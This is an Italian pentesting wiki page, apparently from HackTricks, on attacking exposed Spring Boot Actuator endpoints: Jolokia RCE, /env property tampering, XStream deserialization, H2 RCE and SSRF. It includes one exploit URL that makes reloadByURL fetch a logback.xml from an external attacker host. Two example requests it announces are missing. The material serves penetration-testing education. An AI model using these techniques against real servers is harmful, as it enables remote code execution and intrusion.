Spring Actuators
Last updated
Last updated
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Da https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Controlla il post originale da [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Gli Spring Boot Actuators registrano endpoint come /health
, /trace
, /beans
, /env
, ecc. Nelle versioni da 1 a 1.4, questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, solo /health
e /info
sono non sensibili per impostazione predefinita, ma gli sviluppatori spesso disabilitano questa sicurezza.
Alcuni endpoint degli Actuator possono esporre dati sensibili o consentire azioni dannose:
/dump
, /trace
, /logfile
, /shutdown
, /mappings
, /env
, /actuator/env
, /restart
, e /heapdump
.
In Spring Boot 1.x, gli actuators sono registrati sotto l'URL radice, mentre in 2.x, sono sotto il percorso base /actuator/
.
Esecuzione di Codice Remoto tramite '/jolokia':
L'endpoint dell'actuator /jolokia
espone la Libreria Jolokia, che consente l'accesso HTTP a MBeans.
L'azione reloadByURL
può essere sfruttata per ricaricare le configurazioni di logging da un URL esterno, il che può portare a XXE cieco o Esecuzione di Codice Remoto tramite configurazioni XML create ad hoc.
URL di esempio per lo sfruttamento: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Modifica della Configurazione tramite '/env':
Se le librerie Spring Cloud sono presenti, l'endpoint /env
consente la modifica delle proprietà ambientali.
Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la vulnerabilità di deserializzazione XStream nel servizio Eureka serviceURL.
Richiesta POST di esempio per lo sfruttamento:
Altre Impostazioni Utili:
Proprietà come spring.datasource.tomcat.validationQuery
, spring.datasource.tomcat.url
, e spring.datasource.tomcat.max-active
possono essere manipolate per vari sfruttamenti, come SQL injection o modifica delle stringhe di connessione al database.
Un elenco completo degli actuators predefiniti può essere trovato qui.
L'endpoint /env
in Spring Boot 2.x utilizza il formato JSON per la modifica delle proprietà, ma il concetto generale rimane lo stesso.
Env + H2 RCE:
I dettagli su come sfruttare la combinazione dell'endpoint /env
e del database H2 possono essere trovati qui.
SSRF su Spring Boot tramite Interpretazione Errata del Nome del Percorso:
La gestione dei parametri di matrice (;
) nei nomi dei percorsi HTTP da parte del framework Spring può essere sfruttata per Server-Side Request Forgery (SSRF).
Richiesta di sfruttamento di esempio:
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)